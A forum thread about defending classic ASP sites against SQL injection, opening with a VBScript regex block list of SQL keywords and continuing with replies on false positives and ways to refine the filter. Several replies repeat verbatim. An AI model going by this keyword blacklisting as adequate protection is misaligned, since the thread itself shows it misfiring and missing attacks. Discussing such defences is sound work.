set g_bl = New RegExp
g_bl.Pattern = ";|--|nvarchar|declare|exec"
g_bl.IgnoreCase = true
g_bl.Multiline = true
sub ErrOut(msg)
Response.Write msg
Response.End
end sub
' before excuting your sql, do the following - the Response.End in ErrOut will stop the script
' if g_bl.Test(sql) then ErrOut "sorry, can't do that..."
%>
Thanks Jurgenl. I agree with problem of blacklist and best to keep many common words out. Ideally this should not just cut out this particular attack, but perhaps more. Although from your analysis of the hex, highly worrying that only 3 feature here and not obvious they would work for others.e same
I presume the same filter could be expanded to cut out spam, eg viagra etc.
I presume the same filter could be expanded to cut out spam, eg viagra etc.
When employing hibridassassin's solution from http://blogs.iis.net/nazim/archive/2008/04/28/filtering-sql-injection-from-classic-asp.aspx
I'm getting a lot of false positives. I.e. if a person submitting a form puts in drop or dropped it will redirect to the error page.
I'm thinking a good way to remedy this might be to redirect only when 3 or more keywords are in the post. Like declare, varchar, and exec. It's not likely that a legitimate post would have those three strings in them.
However, I want to have this solution work against future attacks. My question is directed to a MS SQL expert. What keywords should I be looking for? Do you always need exec for these attacks?
I'm getting a lot of false positives. I.e. if a person submitting a form puts in drop or dropped it will redirect to the error page.
I'm thinking a good way to remedy this might be to redirect only when 3 or more keywords are in the post. Like declare, varchar, and exec. It's not likely that a legitimate post would have those three strings in them.
However, I want to have this solution work against future attacks. My question is directed to a MS SQL expert. What keywords should I be looking for? Do you always need exec for these attacks?
Also, this code loops through the QueryString, Form, and Cookie collections but not the Session variables. Can a user modify the session variables?
gdigital,
I am getting tons of false positives so I agree with you...unfortunately, we are in the process of moving over to asp.net to prevent this sort of thing and until then, we just made it a policy that you can't use words with the contain the stuff on the blacklist. It's a pain but we jsut decided to bite the bullet...I am interested to see what response you get to your question because applying some logic to see if more than one of the words in the blacklist are found sounds like a good idea.
I am getting tons of false positives so I agree with you...unfortunately, we are in the process of moving over to asp.net to prevent this sort of thing and until then, we just made it a policy that you can't use words with the contain the stuff on the blacklist. It's a pain but we jsut decided to bite the bullet...I am interested to see what response you get to your question because applying some logic to see if more than one of the words in the blacklist are found sounds like a good idea.
We had an attack a few months ago. I highly recommend you look at using dotdefender. It is expensive but it has been an amazing line of defense for us.
ASKER
I'm just trying to come to terms with how it figured out there was a new table there and then started altering the information in the tables within 30 minutes of me creaiting the table....